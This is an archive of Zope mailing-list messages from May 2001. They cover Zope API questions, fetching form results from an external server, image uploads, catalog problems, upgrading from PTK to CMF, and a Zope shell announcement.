<5.0.2.1.2.20010503220336.021d96e0@127.0.0.1> Zope Book .pdf fetched today says on page 258 >ObjectManager Constructor > >manage_addDocument(id, title) > >Add a DTML Document to the current ObjectManager But when I call manage_addDocument from DTML using in Zope 2.2.2, it actually adds a DTML Method (!) However, manage_addDTMLDocument(id, title) does add a DTML Document. Could be a change between 2.2.2 and 2.3.x or it could be an error in the book, in which case I thought I should point it out. Or maybe I should've skipped the beer with dinner. -- Dennis Nichols nichols@tradingconnections.com From augusto@artlover.com Fri May 4 05:04:23 2001 From: augusto@artlover.com (Ausum) Date: Thu, 03 May 2001 23:04:23 -0500 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: <20010503211308.6766.qmail@web10104.mail.yahoo.com> Message-ID: <3AF22A47.AED75F3@artlover.com> You'll find them here: http://www.zope.org/Members/ausum/interface_enhancements Please notice that it's not a good idea to replace your core dtml files on a permanent basis. Read the warning first. Ausum Adrian Madrid wrote: > > --- Ausum wrote: > > I've uploaded pic snapshots hoping to explain them. > > They're based only in > > modifications to distribution dtml files, and one > > python module file. If you > > want the code > > I can send it to you, but you'll probably want to > > take a look first. :) > > > > http://www.zope.org/Members/ausum/some_improvements/ > > > > > > Ausum > > I'd love to try them. Could you send/post them? > > Thanks, > > ===== > --------------------------- > Adrian Esteban Madrid > Benson Institute, Webmaster > Brigham Young University > --------------------------- > adrian_esteban@madrid.com > =========================== > > __________________________________________________ > Do You Yahoo!? > Yahoo! Auctions - buy the things you want at great prices > http://auctions.yahoo.com/ From tino@wildenhain.de Fri May 4 05:51:23 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Fri, 04 May 2001 06:51:23 +0200 Subject: AW: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: <1116605100.988959083@BUZZER> Hi Marc, so you had definitively more work then with ZClient ;) But nice to hear you have it working now ;) Regards Tino --On Freitag, 4. Mai 2001 01:30 +0200 Marc Fischer wrote: > Hey, thanks to all of you, that tried to help me. > > Finally I had success with the httplib funktion. ... :-))) > > Marc > > > >> -----Ursprungliche Nachricht----- >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im Auftrag von Tino >> Wildenhain >> Gesendet: Donnerstag, 3. Mai 2001 22:51 >> An: Marc Fischer; Danny William Adair; Paula Mangas >> Cc: zope@zope.org >> Betreff: Re: AW: AW: [Zope] Source from form result. >> >> >> Hi Marc, >> >> its simply: >> >> >> >> >> >> in your case :) >> x and y go into this **kw argument. If this is set, >> webclient uses POST. >> >> HTH >> Tino Wildenhain. >> >> --On Mittwoch, 2. Mai 2001 20:45 +0200 Marc Fischer >> wrote: >> >> > Hi Tino, >> > >> > I think, thats it, what I am looking for. Your Example works >> fine so far. >> > But my understanding in python I so low, that I am not able change it >> > in my needed way. Perhabs you could tell me how to realize this: >> > >> > >> > >> > >> > >> > >> > >> > and show me how to get the source of the result page?! :-) >> > >> > I would be very happy, ... thanx a lot ... >> > >> > Marc >> > >> > >> > >> > >> >> -----Ursprungliche Nachricht----- >> >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im >> Auftrag von Tino >> >> Wildenhain >> >> Gesendet: Mittwoch, 2. Mai 2001 15:37 >> >> An: Marc Fischer; Danny William Adair; Paula Mangas >> >> Cc: zope@zope.org >> >> Betreff: Re: AW: [Zope] Source from form result. >> >> >> >> >> >> Hi Marc, >> >> >> >> zope has a "client" deep in its core :) >> >> See lib/python/ZPublisher/Client.py >> >> for more info. >> >> >> >> I currently use a external method like this: >> >> >> >> > from ZPublisher import Client >> >> >> >> def web_client(url = '', username = None, password = None, **kw): >> >> '''access http servers''' >> >> class gen_res: >> >> __allow_access_to_unprotected_subobjects__=1 >> >> f=gen_res() >> >> if kw: >> >> f.headers,f.body=Client.call(url,username,password,kw) >> >> else: >> >> f.headers,f.body=Client.call(url,username,password) >> >> return(f) >> >> >> >> >> >> And use it like this: >> >> >> >> >> >> >> >> >> >> >> >> In Client.py are also methods and functions to map arguments >> >> to a POST request as you wish. >> >> >> >> I think, the above could be a starting point for you. >> >> >> >> HTH >> >> Tino Wildenhain >> >> >> >> --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer >> >> wrote: >> >> >> >> > Hi Danny, >> >> > >> >> > first of all thank you for your detailed help!!! That is >> >> nearly, what I am >> >> > looking for, but one problem exists: >> >> > The page I want to extract (you are right ... its on an external >> >> > server) does not work with passing the variables in the url. >> I mean ... >> >> > >> >> > http://server?x=a&y=b does not work. >> >> > >> >> > I need to do it with a form like: >> >> > >> >> >
>> >> > >> >> > >> >> > >> >> >
>> >> > >> >> > That's my big big problem. Btw, ... its legal :-))) >> >> > >> >> > Marc >> >> > >> >> > >> >> > >> >> > >> >> > >> >> > >> >> >> -----Ursprungliche Nachricht----- >> >> >> Von: Danny William Adair [mailto:Danny@Adair.net] >> >> >> Gesendet: Mittwoch, 2. Mai 2001 01:26 >> >> >> An: Marc Fischer; Paula Mangas >> >> >> Cc: zope@zope.org >> >> >> Betreff: Re: [Zope] Source from form result. >> >> >> >> >> >> >> >> >> Hi Marc, >> >> >> >> >> >> When you submit a form to one of your DTML methods or >> >> documents, all the >> >> >> form variables will be available without any further work to be >> >> >> done (REQUEST object, see docs). But if I get you right, you are >> >> >> not submitting your form to a method of your own. So things are a >> >> >> bit different here. >> >> >> >> >> >> As I understand it, you are submitting your form to someone >> >> else's server >> >> >> (since otherwise you would produce the output yourself). >> Maybe you're >> >> >> providing an input form that is directed to a search engine, >> >> or something >> >> >> similar. >> >> >> >> >> >> -------------------------------------------- >> >> >>
>> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >>
>> >> >> -------------------------------------------- >> >> >> >> >> >> If so, then you should take a look at the "KebasData" Product: >> >> >> http://www.zope.org/Members/kedai/KebasData >> >> >> >> >> >> Just instantiate a KebasData object, let's say "results". Take a >> >> >> look at the >> >> >> product's documentation to see how you can extract the >> >> relevant code from >> >> >> the external server's result page. I'll try to get you started >> >> >> right away: >> >> >> >> >> >> Set the regular expression patterns properly, start with >> >> >> >> >> >> .* >> >> >> >> >> >> as the search pattern and leave the rest blank ("url" will be set >> >> >> by a DTML >> >> >> method you create, see below), then you'll get the entire >> >> >> external page, you >> >> >> can change that later to fit your needs. >> >> >> >> >> >> Then create a DTML method next to it, lets say >> "getResults". It could >> >> >> look like this: >> >> >> >> >> >> >> >> >>

RESULTS

>> >> >> >> >> >> > >> >> easier to do further processing with your fetched data. >> >> >> >> >> >> hth, >> >> >> Danny >> >> >> >> >> >> P.S.: Check the legal stuff before extracting other >> people's pages ;-) >> >> >> >> >> >> >>> -----Ursprungliche Nachricht----- >> >> >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im >> >> >> Auftrag von Marc >> >> >> >>> Fischer >> >> >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p >> >> >> >>> An: Paula Mangas; Marc Fischer >> >> >> >>> Cc: zope@zope.org >> >> >> >>> Betreff: AW: [Zope] Source from form result. >> >> >> >>> >> >> >> >>> >> >> >> >>> Hi, >> >> >> >>> >> >> >> >>> I think there was an understanding problem. I want to get the >> >> >> >>> source code of >> >> >> >>> the result that is displayed in the browser, after klicking on >> >> >> >>> the submit >> >> >> >>> button. I want to be able to handle this source perhabs >> to create >> >> >> >>> a dtmlmethod wiht it, or do some string extractions with it. >> >> >> >>> >> >> >> >>> >> >> >> >>> >> >> >> >>> > -----Ursprungliche Nachricht----- >> >> >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] >> >> >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 >> >> >> >>> > An: Marc Fischer >> >> >> >>> > Cc: zope@zope.org >> >> >> >>> > Betreff: Re: [Zope] Source from form result. >> >> >> >>> > >> >> >> >>> > >> >> >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: >> >> >> >>> > >> >> >> >>> > > Hi, >> >> >> >>> > > >> >> >> >>> > > I want to get the HTML result from a form into a >> dtml method. >> >> >> >>> > So I need a >> >> >> >>> > > way to handle this result, but HOW. >> >> >> >>> > > >> >> >> >>> > > The form ist like this: >> >> >> >>> > > >> >> >> >>> > >
>> >> >> >>> > > >> >> >> >>> > > >> >> >> >>> > > >> >> >> >>> > >
>> >> >> >>> > > >> >> >> >>> > > If I klick on submit, I get the result displayed in the >> >> >> >>> Browser, but I >> >> >> >>> > > cannot work with it. >> >> >> >>> > > Perhaps someone could help me??? >> >> >> >>> > >> >> >> >>> > >> >> >> >>> > Hi, >> >> >> >>> > >> >> >> >>> > >> >> >> >>> > I think that, if you try >> >> >> >>> >
> >> >> method=POST> >> >> >> >>> > >> >> >> >>> > it will work. >> >> >> >>> > >> >> >> >>> > Paula >> >> >> >>> > >> >> >> >>> >> >> >> >>> >> >> >> >>> _______________________________________________ >> >> >> >>> Zope maillist - Zope@zope.org >> >> >> >>> http://lists.zope.org/mailman/listinfo/zope >> >> >> >>> ** No cross posts or HTML encoding! ** >> >> >> >>> (Related lists - >> >> >> >>> http://lists.zope.org/mailman/listinfo/zope-announce >> >> >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) >> >> >> >>> >> >> >> >> >> > >> >> > >> >> > _______________________________________________ >> >> > Zope maillist - Zope@zope.org >> >> > http://lists.zope.org/mailman/listinfo/zope >> >> > ** No cross posts or HTML encoding! ** >> >> > (Related lists - >> >> > http://lists.zope.org/mailman/listinfo/zope-announce >> >> > http://lists.zope.org/mailman/listinfo/zope-dev ) >> >> >> >> >> >> >> >> >> >> >> >> _______________________________________________ >> >> Zope maillist - Zope@zope.org >> >> http://lists.zope.org/mailman/listinfo/zope >> >> ** No cross posts or HTML encoding! ** >> >> (Related lists - >> >> http://lists.zope.org/mailman/listinfo/zope-announce >> >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> >> >> > >> >> >> >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> > From msg4bob@yahoo.com Thu May 3 16:14:13 2001 From: msg4bob@yahoo.com (Bobby Mathew) Date: Thu, 3 May 2001 20:44:13 +0530 Subject: [Zope] Changing the UNIX passwd from zope / python script References: <1059023570.988901501@BUZZER> Message-ID: <002801c0d45c$22c9bca0$1e01a8c0@dialognet.com> Hi all, I needed to be able to change the passwd of a current zope user to sync his passwords with my database. Is this possible ? I could provide an interface and user could confirm the new password and then i could also sync his UNIX password to the same !!! I am a newbie to both zope and python so i would need explicit instructions if there is a solution. thanks bobby From msg4bob@yahoo.com Thu May 3 16:16:32 2001 From: msg4bob@yahoo.com (Bobby Mathew) Date: Thu, 3 May 2001 20:46:32 +0530 Subject: [Zope] Re: Catalog Anything Problem References: Message-ID: <002901c0d45c$2346dbe0$1e01a8c0@dialognet.com> THANKS GUYS It worked once i changed the case... Once again you guys are genius's thanks a lot bobby ----- Original Message ----- From: Ron Bickers To: ; Bobby Mathew Cc: Sent: Thursday, May 03, 2001 8:02 PM Subject: RE: [Zope] Re: Catalog Anything Problem > > > > Firstly i created a new catalog called prods under > > /learn/search/ and did > > > nothing further > > > secondly i kept the zsql method outside under the path /learn/search/ > > > called it getProdtoCatalog() > > I may have misled you as far as where to put the ZSQL Method. It's okay to > have the method in the contents part of the catalog where the Python Script > is, you just don't want to use the 'Find Objects' to add it to the catalog's > search index. Of course, with acquisition, it works all the same where you > put it. > > > Try Product.number, Databases often return field names in all lower case > > regardless of the case specified in the SQL. > > I can't think of any reason for the error, but this sounds like a good thing > to try. MySQL is case sensitive so I've always stuck to the case as defined > in the table. If changing the case works, let me know. > _______________________ > > Ron Bickers > Logic Etc, Inc. > rbickers@logicetc.com > From mail@peterbe.com Fri May 4 08:32:42 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Fri, 4 May 2001 09:32:42 +0200 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: <20010503211308.6766.qmail@web10104.mail.yahoo.com> <3AF22A47.AED75F3@artlover.com> Message-ID: <005201c0d46c$7c7a9a20$1c64a8c0@PBN> The usability of your interface enhancements suck! ...but I would probably install them :) "Clicking on "Ed" reloads the current edit page. Clicking on "it" opens the full screen editing window." -- eerrk! Very tricky. I use the ZMI a lot, and I like you make little interface changes that helps me. I also have the time and patience of learning a zen of using the interface. I don't have patience or time to learn a new interface at Amazon.com because I selldomly go there and it's not my work environment. My main concern is for beginners (of Zope) and when you share an install with more Z people. So it has to be possible to _skin_ the ZMI in some way. Just like you can with KDE for Linux. You can change the Look&Feel for _your_ user account, so that different users have different icons on their desktop etc. Would it not be possible to do something like this in the future for Zope. I ask especially the DC folks who know more of Z's future. Peter ----- Original Message ----- From: "Ausum" To: Sent: Friday, May 04, 2001 6:04 AM Subject: Re: [Zope] [FEATURE REQUEST] Improving Zope's management interface > You'll find them here: > > http://www.zope.org/Members/ausum/interface_enhancements > > Please notice that it's not a good idea to replace your core dtml files on > a permanent basis. Read the warning first. > > > Ausum > > > > Adrian Madrid wrote: > > > > --- Ausum wrote: > > > I've uploaded pic snapshots hoping to explain them. > > > They're based only in > > > modifications to distribution dtml files, and one > > > python module file. If you > > > want the code > > > I can send it to you, but you'll probably want to > > > take a look first. :) > > > > > > http://www.zope.org/Members/ausum/some_improvements/ > > > > > > > > > Ausum > > > > I'd love to try them. Could you send/post them? > > > > Thanks, > > > > ===== > > --------------------------- > > Adrian Esteban Madrid > > Benson Institute, Webmaster > > Brigham Young University > > --------------------------- > > adrian_esteban@madrid.com > > =========================== > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Auctions - buy the things you want at great prices > > http://auctions.yahoo.com/ > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From etiennel@geospace.co.za Fri May 4 08:32:10 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Fri, 4 May 2001 09:32:10 +0200 Subject: [Zope] Uploading images - no image! Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC778@TERRASERVER.GEOSPACE.CO.ZA> Hi there The Python Method (not external Python Method!) below must upload an image after being given the id, title and filename (on the client computer). This should work the same way as the management interface based image uploading. Somehow, this function causes the image to be created, but is seems to contain no image data (you cannot view the image). What am I doing wrong? (self is passed as the only parameter. id, title and file are set in the calling form) id = self.REQUEST['id'] title = self.REQUEST['title'] file = self.REQUEST['file'] self.manage_addProduct['OFSP'].manage_addImage(id,file,title) return "Your image is uploaded." From marcbpc@gmx.de Fri May 4 09:49:33 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Fri, 4 May 2001 10:49:33 +0200 Subject: AW: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: > Did you get enough new material to write a HowTo? "How To Screen Scrape" > > -- Loren > I could. But what do you mean with "Screen Scrape" ??? Marc > > -----Original Message----- > > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Marc > > Fischer > > Sent: Thursday, May 03, 2001 16:31 > > To: Tino Wildenhain; Marc Fischer; Danny William Adair; Paula Mangas > > Cc: zope@zope.org > > Subject: AW: AW: AW: [Zope] Source from form result. > > > > > > Hey, thanks to all of you, that tried to help me. > > > > Finally I had success with the httplib funktion. ... :-))) > > > > Marc > > > > > > > > > -----Ursprungliche Nachricht----- > > > Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > Auftrag von Tino > > > Wildenhain > > > Gesendet: Donnerstag, 3. Mai 2001 22:51 > > > An: Marc Fischer; Danny William Adair; Paula Mangas > > > Cc: zope@zope.org > > > Betreff: Re: AW: AW: [Zope] Source from form result. > > > > > > > > > Hi Marc, > > > > > > its simply: > > > > > > > > > > > > > > > > > > in your case :) > > > x and y go into this **kw argument. If this is set, > > > webclient uses POST. > > > > > > HTH > > > Tino Wildenhain. > > > > > > --On Mittwoch, 2. Mai 2001 20:45 +0200 Marc Fischer > > > wrote: > > > > > > > Hi Tino, > > > > > > > > I think, thats it, what I am looking for. Your Example works > > > fine so far. > > > > But my understanding in python I so low, that I am not able > > change it in > > > > my needed way. Perhabs you could tell me how to realize this: > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > and show me how to get the source of the result page?! :-) > > > > > > > > I would be very happy, ... thanx a lot ... > > > > > > > > Marc > > > > > > > > > > > > > > > > > > > >> -----Ursprungliche Nachricht----- > > > >> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > > > Auftrag von Tino > > > >> Wildenhain > > > >> Gesendet: Mittwoch, 2. Mai 2001 15:37 > > > >> An: Marc Fischer; Danny William Adair; Paula Mangas > > > >> Cc: zope@zope.org > > > >> Betreff: Re: AW: [Zope] Source from form result. > > > >> > > > >> > > > >> Hi Marc, > > > >> > > > >> zope has a "client" deep in its core :) > > > >> See lib/python/ZPublisher/Client.py > > > >> for more info. > > > >> > > > >> I currently use a external method like this: > > > >> > > > >> > from ZPublisher import Client > > > >> > > > >> def web_client(url = '', username = None, password = None, **kw): > > > >> '''access http servers''' > > > >> class gen_res: > > > >> __allow_access_to_unprotected_subobjects__=1 > > > >> f=gen_res() > > > >> if kw: > > > >> f.headers,f.body=Client.call(url,username,password,kw) > > > >> else: > > > >> f.headers,f.body=Client.call(url,username,password) > > > >> return(f) > > > >> > > > >> > > > >> And use it like this: > > > >> > > > >> > > > >> > > > >> > > > >> > > > >> In Client.py are also methods and functions to map arguments > > > >> to a POST request as you wish. > > > >> > > > >> I think, the above could be a starting point for you. > > > >> > > > >> HTH > > > >> Tino Wildenhain > > > >> > > > >> --On Mittwoch, 2. Mai 2001 12:12 +0200 Marc Fischer > > > >> wrote: > > > >> > > > >> > Hi Danny, > > > >> > > > > >> > first of all thank you for your detailed help!!! That is > > > >> nearly, what I am > > > >> > looking for, but one problem exists: > > > >> > The page I want to extract (you are right ... its on an external > > > >> > server) does not work with passing the variables in the url. > > > I mean ... > > > >> > > > > >> > http://server?x=a&y=b does not work. > > > >> > > > > >> > I need to do it with a form like: > > > >> > > > > >> >
> > > >> > > > > >> > > > > >> > > > > >> >
> > > >> > > > > >> > That's my big big problem. Btw, ... its legal :-))) > > > >> > > > > >> > Marc > > > >> > > > > >> > > > > >> > > > > >> > > > > >> > > > > >> > > > > >> >> -----Ursprungliche Nachricht----- > > > >> >> Von: Danny William Adair [mailto:Danny@Adair.net] > > > >> >> Gesendet: Mittwoch, 2. Mai 2001 01:26 > > > >> >> An: Marc Fischer; Paula Mangas > > > >> >> Cc: zope@zope.org > > > >> >> Betreff: Re: [Zope] Source from form result. > > > >> >> > > > >> >> > > > >> >> Hi Marc, > > > >> >> > > > >> >> When you submit a form to one of your DTML methods or > > > >> documents, all the > > > >> >> form variables will be available without any further work > > to be done > > > >> >> (REQUEST object, see docs). But if I get you right, you are not > > > >> >> submitting your form to a method of your own. So things > are a bit > > > >> >> different here. > > > >> >> > > > >> >> As I understand it, you are submitting your form to someone > > > >> else's server > > > >> >> (since otherwise you would produce the output yourself). > > > Maybe you're > > > >> >> providing an input form that is directed to a search engine, > > > >> or something > > > >> >> similar. > > > >> >> > > > >> >> -------------------------------------------- > > > >> >>
> > > >> >> > > > >> >> > > > >> >> > > > >> >> > > > >> >> > > > >> >> > > > >> >>
> > > >> >> -------------------------------------------- > > > >> >> > > > >> >> If so, then you should take a look at the "KebasData" Product: > > > >> >> http://www.zope.org/Members/kedai/KebasData > > > >> >> > > > >> >> Just instantiate a KebasData object, let's say "results". Take a > > > >> >> look at the > > > >> >> product's documentation to see how you can extract the > > > >> relevant code from > > > >> >> the external server's result page. I'll try to get you > > started right > > > >> >> away: > > > >> >> > > > >> >> Set the regular expression patterns properly, start with > > > >> >> > > > >> >> .* > > > >> >> > > > >> >> as the search pattern and leave the rest blank ("url" > will be set > > > >> >> by a DTML > > > >> >> method you create, see below), then you'll get the entire > > > >> >> external page, you > > > >> >> can change that later to fit your needs. > > > >> >> > > > >> >> Then create a DTML method next to it, lets say > > > "getResults". It could > > > >> >> look like this: > > > >> >> > > > >> >> > > > >> >>

RESULTS

> > > >> >> > > > >> >> > > >> >> easier to do further processing with your fetched data. > > > >> >> > > > >> >> hth, > > > >> >> Danny > > > >> >> > > > >> >> P.S.: Check the legal stuff before extracting other > > > people's pages ;-) > > > >> >> > > > >> >> >>> -----Ursprungliche Nachricht----- > > > >> >> >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > > > >> >> Auftrag von Marc > > > >> >> >>> Fischer > > > >> >> >>> Gesendet: Dienstag, 1. Mai 2001 11.43p > > > >> >> >>> An: Paula Mangas; Marc Fischer > > > >> >> >>> Cc: zope@zope.org > > > >> >> >>> Betreff: AW: [Zope] Source from form result. > > > >> >> >>> > > > >> >> >>> > > > >> >> >>> Hi, > > > >> >> >>> > > > >> >> >>> I think there was an understanding problem. I want > to get the > > > >> >> >>> source code of > > > >> >> >>> the result that is displayed in the browser, after > klicking on > > > >> >> >>> the submit > > > >> >> >>> button. I want to be able to handle this source perhabs > > > to create > > > >> >> >>> a dtmlmethod wiht it, or do some string extractions with it. > > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > > > >> >> >>> > -----Ursprungliche Nachricht----- > > > >> >> >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > > > >> >> >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 > > > >> >> >>> > An: Marc Fischer > > > >> >> >>> > Cc: zope@zope.org > > > >> >> >>> > Betreff: Re: [Zope] Source from form result. > > > >> >> >>> > > > > >> >> >>> > > > > >> >> >>> > On Tue, 1 May 2001, Marc Fischer wrote: > > > >> >> >>> > > > > >> >> >>> > > Hi, > > > >> >> >>> > > > > > >> >> >>> > > I want to get the HTML result from a form into a > > > dtml method. > > > >> >> >>> > So I need a > > > >> >> >>> > > way to handle this result, but HOW. > > > >> >> >>> > > > > > >> >> >>> > > The form ist like this: > > > >> >> >>> > > > > > >> >> >>> > >
> > > >> >> >>> > > > > > >> >> >>> > > > > > >> >> >>> > > > > > >> >> >>> > >
> > > >> >> >>> > > > > > >> >> >>> > > If I klick on submit, I get the result displayed in the > > > >> >> >>> Browser, but I > > > >> >> >>> > > cannot work with it. > > > >> >> >>> > > Perhaps someone could help me??? > > > >> >> >>> > > > > >> >> >>> > > > > >> >> >>> > Hi, > > > >> >> >>> > > > > >> >> >>> > > > > >> >> >>> > I think that, if you try > > > >> >> >>> >
> > >> >> method=POST> > > > >> >> >>> > > > > >> >> >>> > it will work. > > > >> >> >>> > > > > >> >> >>> > Paula > > > >> >> >>> > > > > >> >> >>> > > > >> >> >>> > > > >> >> >>> _______________________________________________ > > > >> >> >>> Zope maillist - Zope@zope.org > > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope > > > >> >> >>> ** No cross posts or HTML encoding! ** > > > >> >> >>> (Related lists - > > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-announce > > > >> >> >>> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > >> >> >>> > > > >> >> > > > >> > > > > >> > > > > >> > _______________________________________________ > > > >> > Zope maillist - Zope@zope.org > > > >> > http://lists.zope.org/mailman/listinfo/zope > > > >> > ** No cross posts or HTML encoding! ** > > > >> > (Related lists - > > > >> > http://lists.zope.org/mailman/listinfo/zope-announce > > > >> > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > >> > > > >> > > > >> > > > >> > > > >> > > > >> _______________________________________________ > > > >> Zope maillist - Zope@zope.org > > > >> http://lists.zope.org/mailman/listinfo/zope > > > >> ** No cross posts or HTML encoding! ** > > > >> (Related lists - > > > >> http://lists.zope.org/mailman/listinfo/zope-announce > > > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > >> > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > From slinkp23@yahoo.com Fri May 4 09:47:41 2001 From: slinkp23@yahoo.com (Paul Winkler) Date: Fri, 04 May 2001 04:47:41 -0400 Subject: [Zope] Upgrade path from 2.2.2 and PTK Message-ID: <3AF26CAD.FEE9EFDF@yahoo.com> Hi, OK, I have a site I've been working on for months that's based on Zope 2.2.2 and PTK 0.8.2. That's what was current when I got started. Now I want to update things a bit before I put this on a production server. My site is a heavily-customized version of the DemoPortal from PTK 0.8.2. Well, now you guys are up to Zope 2.3.2 and CMF 1.0. Can anyone recommend the safest, least painful procedure for upgrading my stuff? Once I get Zope upgraded, can I just install CMF alongside PTK and migrate things over piecemeal? (I'll probably have to do it a bit at a time, as I've customized quite a lot of PTK...) -- ................... paul winkler .................... custom calendars & printing: http://www.calendargalaxy.com A member of ARMS: http://www.reacharms.com home page: http://www.slinkp.com From mail@peterbe.com Fri May 4 10:17:42 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Fri, 4 May 2001 11:17:42 +0200 Subject: [Zope] Uploading images - no image! References: <6CBE5E8F222DCA4C910079182C5C93E48DC778@TERRASERVER.GEOSPACE.CO.ZA> Message-ID: <00ab01c0d47b$140bafb0$1c64a8c0@PBN> Do you have enctype="multipart/form-data" ??? ----- Original Message ----- From: "Etienne Labuschagne" To: "Zope user list (E-mail)" Sent: Friday, May 04, 2001 9:32 AM Subject: [Zope] Uploading images - no image! > Hi there > > The Python Method (not external Python Method!) below must upload an image > after being given the id, title and filename (on the client computer). This > should work the same way as the management interface based image uploading. > Somehow, this function causes the image to be created, but is seems to > contain no image data (you cannot view the image). What am I doing wrong? > > > (self is passed as the only parameter. id, title and file are set in the > calling form) > > id = self.REQUEST['id'] > title = self.REQUEST['title'] > file = self.REQUEST['file'] > > self.manage_addProduct['OFSP'].manage_addImage(id,file,title) > > return "Your image is uploaded." > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From etiennel@geospace.co.za Fri May 4 10:25:04 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Fri, 4 May 2001 11:25:04 +0200 Subject: [Zope] Uploading images - no image! Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC77A@TERRASERVER.GEOSPACE.CO.ZA> Yes, but even if I change that to image/jpeg it still doesn't show - I'll double check. Etienne -----Original Message----- From: Peter Bengtsson [mailto:mail@peterbe.com] Sent: Friday, May 04, 2001 11:18 AM To: Etienne Labuschagne Cc: zope@zope.org Subject: Re: [Zope] Uploading images - no image! Do you have enctype="multipart/form-data" ??? ----- Original Message ----- From: "Etienne Labuschagne" To: "Zope user list (E-mail)" Sent: Friday, May 04, 2001 9:32 AM Subject: [Zope] Uploading images - no image! > Hi there > > The Python Method (not external Python Method!) below must upload an image > after being given the id, title and filename (on the client computer). This > should work the same way as the management interface based image uploading. > Somehow, this function causes the image to be created, but is seems to > contain no image data (you cannot view the image). What am I doing wrong? > > > (self is passed as the only parameter. id, title and file are set in the > calling form) > > id = self.REQUEST['id'] > title = self.REQUEST['title'] > file = self.REQUEST['file'] > > self.manage_addProduct['OFSP'].manage_addImage(id,file,title) > > return "Your image is uploaded." > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From etiennel@geospace.co.za Fri May 4 10:42:19 2001 From: etiennel@geospace.co.za (Etienne Labuschagne) Date: Fri, 4 May 2001 11:42:19 +0200 Subject: [Zope] Getting an object from id Message-ID: <6CBE5E8F222DCA4C910079182C5C93E48DC77B@TERRASERVER.GEOSPACE.CO.ZA> Hi there If I have the id of an object, how can I get the actual object in a Python Method? I have tried the following: o = getattr(self, "FooImage") This causes an AttributeError type with value validate. This probably mean that this way of aquiring an object is not available in Python Methods, but only in external Python Methods. I would prefer to use a Python Method and not an external method. B.T.W. I know that o=self.FooImage will work, but I want to use a parameter containing the id to get the object, eg. o = getattr(self, id). Thanks Etienne From jose@sferacarta.com Fri May 4 11:02:04 2001 From: jose@sferacarta.com (Jose Soares) Date: Fri, 04 May 2001 12:02:04 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell References: Message-ID: <3AF27E1B.79745DF1@sferacarta.com> Where on can find Zope Shell version 0.001 ? at http://www.zope.org/Members/sf/zopeshell there's only... Release Version Date ---------------------------------------------------------------------- Zopeshell 0.4 0.4 (Stable) 2000/12/19 zopeshell-0.3.0 0.3.0 (Development) 2000/08/05 zopeshell-0.2.0 0.2.0 (Development) 2000/06/06 zopeshell 0.1.1 0.1.1 (Development) 2000/05/07 zopeshell vers 0.1 0.1 (Development) 2000/05/06 Jerome Alet wrote: > Hi there, > > I'm pleased to announce you the Zope Shell version 0.001. > > The Zope shell is a GPLed Python Script which makes some of the most > commonly used unix shell commands available from within Zope, to manage > the ZODB contents. You'll find this 155 lines script attached to this > message. > > As for the 0.001 version which is attached to this message, the following > commands are recognized: cd, cp, mv, rm, ls > > there are some restrictions however, and it doesn't seem to work with > absolute paths, read the source for details and the future commands. > > zshell accepts an 